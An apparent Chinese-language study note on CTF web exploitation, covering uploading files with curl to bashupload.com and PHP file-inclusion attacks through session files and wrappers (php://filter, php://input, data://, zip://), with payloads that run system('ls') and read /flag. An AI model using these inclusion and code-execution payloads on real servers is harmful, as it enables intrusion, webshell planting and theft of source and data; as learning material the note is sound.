7月18日总结
bashupload / upload files from command line
远程文件包含
介绍一个上传文件的网站
bashupload.com
简介
借助bashupload.com,可以简朴地从下令行上传文件,剖析给其他的服务器,桌面和移动装备,最大支持25G。上传的文件会被保留7天,时代可以无限次下载。
直接打开 https://bashupload.com 这个网站,首页异常简练,直接告诉你最主要的上传下令,下方则是其他情形的下令示例的链接。
直接使用curl下令即可上传文件,下令执行完成会给出下载的链接。
其中name.txt是把你希望最终链接出现的文件名,@后面是内陆的文件名。
curl https://bashupload.com/name.txt --data-binary @file.txt
获得下载链接之后,直接使用wget即可下载
wget https://bashupload.com/xxxxx/name.txt
标红是随机生成
无论是curl命令上传还是网页直接上传
效果一样(标红的路径随机生成,所以不一样)
包含session文件
session、cookie、token的区别?_cookie session token区别-CSDN博客
可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:
找到Session内的可控变量
Session文件可读写,并且知道存储路径
php的session文件的保存路径可以在phpinfo的session.save_path看到。
session常见存储路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
相关案例可以查看这道CTF题一道CTF题:PHP文件包含
php伪协议
使用条件
file://是访问本地文件
php://filter是查源码
php://filter/convert.base64-encode/resource=文件路径
php://filter/read=string.rot13/resource=<目标文件名> //rot13编码后读取文件内容
php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码
php://filter/convert.iconv.utf8.utf16/resource=<目标文件名> //将utf8编码转换utf16编码
php://imput是运行代码
利用该方法,我们可以直接写入php文件,输入file=php://input
,然后使用burp抓包,写入php代码:
发送报文,可以看到本地生成了一句话木马:
data:// 伪协议的基本格式如下:
不编码:
data://text/plain,<?php phpinfo();?>
编码:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
data://[<MIME-type>][;charset=<encoding>][;base64],<data>
MIME-type:指定数据的类型,默认为 text/plain。
charset(可选,默认为UTF-8):指定数据的编码类型,如 utf-8。
base64(可选):如果数据经过 Base64 编码,则需要加上 ;base64 标识。
data:实际的数据内容。
使用方式:在url后加上?file=data://text/plain,<?php system('ls'); ?>,可以使系统列出文件列表。亦可对data部分代码进行url编码绕过字符串过滤
zip://绝对路径#压缩包里面的文件名
传递的参数=system("ls");
查询当前目录
传递的参数=system("ls /");
查看根目录
传递的参数=system("cat /flag");
打印flag